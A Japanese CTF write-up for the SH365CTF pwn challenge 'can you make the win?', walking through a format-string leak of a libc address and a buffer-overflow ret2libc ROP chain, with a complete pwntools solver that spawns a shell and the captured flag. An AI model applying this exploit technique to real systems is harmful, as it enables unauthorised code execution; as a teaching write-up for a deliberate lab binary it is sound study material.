1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[pwn] can you make the win? (SH365CTF) writeup

Last updated at Posted at 2024-12-01

※ SH365CTFはSecHack365(2024 4th Event Week)にて、有志によって非公式に開催されたCTFです。


問題ファイルとlibc.so.6ld-linux-x86-64.so.2が配布された。
strlen, puts, printfに対して任意の入力を与えることができるという処理をループしている。

chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
  // 初心者は無視してください
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  int opt;
  char buffer[0x50];

  do {
    puts("Options");

    puts("1: strlen\n"
         // "2: system\n"
         "3: puts\n"
         "4: printf\n");

    printf("Option: ");
    scanf("%d%*c", &opt);

    printf("buffer: ");
    fgets(buffer, 0x100, stdin);
    switch (opt) {
    case 1:
      puts("strlen");
      printf("strlen: %ld\n", strlen(buffer));
      break;
    /*
    case 2:
      puts("system");
      system(buffer);
      break;
    */
    case 3:
      puts("puts");
      puts(buffer);
      break;
    case 4:
      puts("printf");
      printf(buffer);
      break;
    default:
      puts("Invalid option");
      return 0;
    }
  } while (1);
}

この問題はシリーズものになっており、前の問題はBOFを用いてwin関数を呼び出すものだった。この問題ではwin関数なしでどうにかシェルを奪う必要がある。

まずはchecksecする。Partial RELRO、No canary、No PIE、なるほど。

$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   31) Symbols       No    0               2               chall

そして、配布されたlibcとリンカを問題ファイルに紐づけてやる。

$ patchelf --replace-needed libc.so.6 ./libc.so.6 chall
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 chall
$ ldd chall
        linux-vdso.so.1 (0x00007ffd559c2000)
        ./libc.so.6 (0x00007fd31da14000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd31dc28000)

問題ソースコードより、明らかに Buffer Overflow の脆弱性がある。

char buffer[0x50];

// (略)

fgets(buffer, 0x100, stdin);

また、printf()に直接bufferを渡しているので、Format String Bug の脆弱性もある。

printf(buffer);

ということで、main関数のreturnアドレスをlibc内のsystem関数に書き換え、system("/bin/sh")を実行してシェルを呼び出すこと(ret2libc)を目標とする。

しかし、ASLRがONなのでlibc内のアドレスは実行の度に毎回異なる。よってsystem関数のアドレスを特定する必要がある。

まずはmain関数のreturnアドレスを取得したい。libcでは__libc_start_call_main関数からmain関数を呼び出しているので、main関数のreturnアドレスは__libc_start_call_main関数の中のどこかになっているはず。

ここで、bufferが0x50byte、opt(int型)が16byteなのでmain関数のreturnアドレスはbufferの頭から数えて0x68byte先だと分かる。(前の問題から分かっていた)
さらに6つのレジスタの存在を加味すると、main関数のreturnアドレスを取得するFSBのpayloadは%19$pとなる。

ここまでをpwntoolsで書くとこうなる。

from pwn import *  

chall = "./chall"  
elf = ELF(chall)  

context.binary = chall 
p = process(chall) 

# Optionの選択 
p.recvuntil("Option: ")  
p.sendline("4")

# FSB
p.recvuntil("buffer: ")
p.sendline("%19$p")

# リークしたアドレスを取得
p.recvuntil("0x")
leak = int(p.recvline().strip(), 16)
log.info("leak: " + hex(leak))

さて、ここで配布されたlibc.so.6から__libc_start_call_main関数の相対アドレス(libc.so.6の先頭のアドレスと__libc_start_call_main関数のアドレスの差分、これは環境によらず毎回同じ)を求める。これはpwntoolsで簡単に求められる。

main関数のreturnアドレスと__libc_start_call_main関数がどれだけ離れているかのオフセットも必要になる。gdbで__libc_start_call_mainのアドレスを確認し、main関数のreturnアドレスの差分を取ると122という数字が得られた。

gdb-peda$ p __libc_start_call_main
$1 = {void (int (*)(int, char **, char **), int, char **)} 0x7ffff7dd5150 <__libc_start_call_main>
gdb-peda$ finish
Run till exit from #0  main () at ./chall.c:8
Options
1: strlen
3: puts
4: printf

Option: 4
buffer: %19$p
printf
0x7ffff7dd51ca

0x7ffff7dd51ca - 0x7ffff7dd5150 = 0x7a = 122

よって、libcのベースアドレスは以下のコードで求められる。
この後libcからsystem関数を呼び出すので、求めたベースアドレスをついでにセットしている。
余談だが、libcのベースアドレスの下2桁は必ず0x00となるので、確認も兼ねてassertしても良いかもしれない。

libc = ELF("./libc.so.6") 

# libcのベースアドレスを計算
libc_base = leak - libc.symbols['__libc_start_call_main'] - 122
libc.address = libc_base
log.info("libc base: " + hex(libc_base))

いよいよpayloadの作成に入る。正直ここは人に解説できるほど理解していないので省略するが、Return Oriented Programmingという手法でsystem("/bin/sh")を呼び出している。
WaniCTFの公式solverを大いに参考にした。

# payloadの作成
payload = b"A" * 0x50 + b"B" * 24
payload += p64(next(libc.search(asm("pop rdi; ret"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.search(asm("pop rsi; ret"), executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm("ret"), executable=True)))
payload += p64(libc.sym["system"])
payload += b'\00' * (0x100 - len(payload))

最終的なsolverは以下のようになった。

from pwn import *  
from sys import argv
 
context.log_level = "debug"  

# 実行ファイルとライブラリのパス
chall = "./chall"  
libc = ELF("./libc.so.6") 
elf = ELF(chall)  

context.binary = chall

# リモートかローカルかの選択
if len(argv) >= 2 and argv[1] == "remote":  
    p = remote("18.176.188.206", 14003)  
else:
    p = process(chall) 

# Optionの選択 
p.recvuntil("Option: ")  
p.sendline("4")

# FSB
p.recvuntil("buffer: ")
p.sendline("%19$p")

# リークしたアドレスを取得
p.recvuntil("0x")
leak = int(p.recvline().strip(), 16)
log.info("leak: " + hex(leak))

# libcのベースアドレスを計算
libc_base = leak - libc.symbols['__libc_start_call_main'] - 122
libc.address = libc_base
log.info("libc base: " + hex(libc_base))

# payloadの作成
payload = b"A" * 0x50 + b"B" * 24
payload += p64(next(libc.search(asm("pop rdi; ret"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.search(asm("pop rsi; ret"), executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm("ret"), executable=True)))
payload += p64(libc.sym["system"])
payload += b'\00' * (0x100 - len(payload))

# Optionの選択
p.recvuntil("Option: ")
p.sendline("4")

# shellを取得
p.recvuntil("buffer: ")
p.sendline(payload)

# interactive modeへ移行
p.interactive()

これでシェルを呼び出し、cat /flagを実行すればflagを取得できた。
SecHack365{wr173-7h3-f5b-94y104d-by-h4nd}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?